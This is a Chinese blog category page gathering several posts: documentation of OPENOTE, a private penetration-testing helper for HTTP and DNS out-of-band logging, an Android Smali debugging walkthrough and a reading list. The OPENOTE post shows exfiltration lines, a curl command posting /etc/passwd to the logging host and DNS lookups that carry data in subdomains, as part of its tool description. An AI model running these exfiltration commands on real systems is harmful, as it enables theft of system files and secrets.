分类 默认分类 下的文章

由于某些原因,不能开源。有对相关技术感兴趣的同学可以找我交流

OPENOTE是一款渗透测试辅助工具,集成了一些渗透测试常用的功能,目前包括HTTP记录、DNS记录、文件托管、XSS平台

  • HTTP Log:无回显的场景下通过记录HTTP请求确认漏洞
  • DNS Log:无回显场景下通过DNS信道外带数据
  • File Service:对标Paste Bin,但提供自定义Content-Type的接口,便于托管payload
  • XSS平台:模块化配置XSS Payload,辅助XSS测试

功能演示

目前开发了两个功能,HTTP Log和DNS Log,都是需求比较大的基础能力

在以下说明中,以域名example.com为例

登陆认证

支持基本登陆认证功能,保障数据安全

UNADJUSTEDNONRAW_thumb_150e

HTTP Log

核心功能之一是HTTP Log,所有对平台的不存在的路由请求均会被记录下来

以下路由地址被平台保留,不会被记录

  • /
  • /http
  • /http/<int>
  • /http/down/<int>
  • /dns
  • /file
  • /xss
  • /login
  • /logout
  • /delete/dns

UNADJUSTEDNONRAW_thumb_1510

home/data/black_list.py中可以配置黑名单,黑名单中的url同样不会被记录。默认添加了/favicon.ico/robots.txt

点击每一条记录,可以看到完整的HTTP Header和HTTP Body数据

UNADJUSTEDNONRAW_thumb_1511

一个小技巧是可以用curl example.com/not_exsist -X POST -F "f=@/etc/passwd"来发送文件到平台。二进制数据也可以被直接Down下来,默认以二进制形式存储数据,因此在下载之后不需要其他操作即可拿到完整的二进制数据

DNS Log

此外该平台提供DNS Log功能。假设当前的域名为dns.example.com

本模块的功能主要是修改了vtestdnslog两个项目的代码,并对Python3进行适配

UNADJUSTEDNONRAW_thumb_150f

基础解析

ping secret_message.dns.example.com

此时在平台上能够收到secret_message这一信息,解析结果默认为1.1.1.1

进阶解析

ping 123.123.123.123.dns.example.com

当域名前是IP地址时,会将这个地址解析为输入的IP地址123.123.123.123

ping 111.111.111.111.222.222.222.222.dns.example.com

此时会按顺序依次解析

111.111.111.111.222.222.222.222.dns.example.com ===> 111.111.111.111
111.111.111.111.222.222.222.222.dns.example.com ===> 222.222.222.222
111.111.111.111.222.222.222.222.dns.example.com ===> 111.111.111.111
111.111.111.111.222.222.222.222.dns.example.com ===> 222.222.222.222
...

如何安装

注意⚠️:

  1. 本应用使用Django开发,在安装时推荐使用虚拟环境,避免引起Python的依赖关系紊乱
  2. 本应用仅支持Python3(It's 9102 now.)

安装虚拟环境

安装virtualenv并创建虚拟python环境,激活

pip3 install virtualenv
virtualenv openote_env
source openote_env/bin/activate

激活后安装依赖库

pip3 install -r requirements.txt

初始化数据库

默认使用sqlite3作为数据库,便于携带。使用以下命令进行初始化

python3 manage.py migrate

创建用户

使用以下命令创建一个可以登陆的用户:

python3 manage.py createuser -u username -p

如果忘记密码,可以在命令行中重置:

python3 manage.py reset -u username -p

启动

python3 manage.py runserver 0.0.0.0:8000

设置DNS服务器

总共需要两个域名。例如我们拥有tom.comjerry.com两个域名,最终想要的DNS服务器解析的域名是dns.jerry.com,我们控制的服务器IP为1.1.1.1

设置步骤:

  1. tom.com中添加A记录,将ns1.tom.com指向1.1.1.1
  2. jerry.com中添加NS记录,指定dns.jerry.com域名的NS服务器是ns1.tom.com

这样一来我们对*.dns.jerry.com的查询都会在dns.jerry.com处查询,而它指定了域名服务器ns1.tom.com,域名服务器的IP又是我们控制的服务器1.1.1.1。这样一来*.dns.jerry.com的查询都会走我们自己部署的DNS服务器,即可获取记录

image-20190811235441346

设置完毕后,需要在openote/settings.py中设置以下内容:

ROOT_DOMAIN = "dns.jerry.com"
LOCAL_IP = "1.1.1.1"

测试是否部署成功:

ping test.dns.jerry.com

如果解析结果为1.1.1.1(默认解析结果都是1.1.1.1),且能够在log中看到解析记录,则说明部署成功

启动服务

最终设置好之后,即可启动

python3 manage.py 0.0.0.0:8000

Enjoy

后续计划

  1. file service
  2. xss platform

安装Smalidea插件

下载地址

建议下载三个东西,smalidea装入Android Studio以高亮Smali代码,baksmali.jar来反编译dex文件,smali.jar来重新打包

安装Smalidea插件的过程

Preferences -> Plugins -> Install Plugin From Disk

之后重启Android Studio加载插件,现在可以高亮和断点Smali代码了

关于为什么直接用smali.jar和baksmali.jar,而不用apktool,这是因为我看过蒸米大大的一篇文章,apktool其实是对一些工具的封装,而且更新经常滞后,如果反编译遇到错误给出的报错也不如直接用baksmali更详细,更能够帮助定位错误

强制调试

在Android上即使获得了root权限,也不能直接修改ro.debuggable属性,但由于在root时我用了magisk框架,能够通过一条命令很方便的修改

OnePlus7:/ # magisk resetprop ro.debuggable 1
OnePlus7:/ # getprop ro.debuggable
1
OnePlus7:/ #stop;start;  #必须通过这种方式重启

这样无论apk是否开启了调试模式,都能够对它进行调试,不需要重新打包了

导入Smali

将apk反编译回smali需要几步:

  1. unzip xxx.apk
  2. 找到class.dex文件
  3. baksmali d class.dex
  4. 将out文件夹导入到Android Studio即可

开始调试

这个记录是基于Android Studio3.4做的,在这个版本中已经没有DDMS了。其实按照很多教程的做法,只是少做了一步端口转发,我们并不是真的需要这个工具,没有必要去纠结

File -> New -> Import Project

导入后将文件夹右键设置为项目根目录

添加debug配置选项,新增Remote类型的调试,这里端口默认5005即可

接下来启动apk

adb shell am start -D -n com.oneplus.filemanager/com.oneplus.filemanager.HomePageActivity

这里-D参数是打开调试,之后接的是apk包名和MainActivity

此时应用会阻塞,等待调试器连接

接下来要做的是建立调试器与应用的连接,在设置debug配置时我们选择attach 5005端口,要将5005端口和应用进程联系起来

先看一下应用的pid

anakin@Alpha-Cat  ~/Documents/ adb shell "ps -ef | grep filemanager"
system       12300  6258 0 23:10:33 ?     00:00:00 com.oneplus.filemanager
shell        12362   936 8 23:10:43 ?     00:00:00 sh -c ps -ef | grep filemanager
shell        12365 12362 10 23:10:43 ?    00:00:00 grep filemanager

使用端口转发命令

adb forward tcp:5005 jdwp:12300

之后使用debug即可

期间遇到的一些问题:

  1. 之前查资料时试用了adb shell am set-debug-app -w --persistent的方式,将应用一直定成debug模式,不建议采用,可能有未知bug。使用adb shell am clear-debug-app可清除
  2. 如果调试之后无法再次进入调试,可以尝试以下步骤:

    • 彻底重启Android Studio
    • 彻底重启手机(记得重新开ro.debuggable
    • adb kill-server; adb start-server
    • 换个端口转发

技术

  • 流畅的Python:一本讲Python的好书 定位是让读者写出Pythonic Code
  • Spring实战:大致搞清楚了Spring框架的一些特性 但是由于没写过太多Spring还需要继续看
  • Micropoor的渗透教程:虽然不是出版书,但我读过后收获真的非常大,想清楚很多东西。与Micropoor本人交流的时候发现他竟然非常谦虚和气,果然越大佬越谦虚

文学

  • 幻夜 - 东野圭吾:比白夜行更绝望
  • 恶意 - 东野圭吾:感觉还好 过一阵子就没有太强的记忆了

杂类

  • 设计的教室:一本讲如何进行平面设计的书,示例都蛮不错的,讲了很多设计原则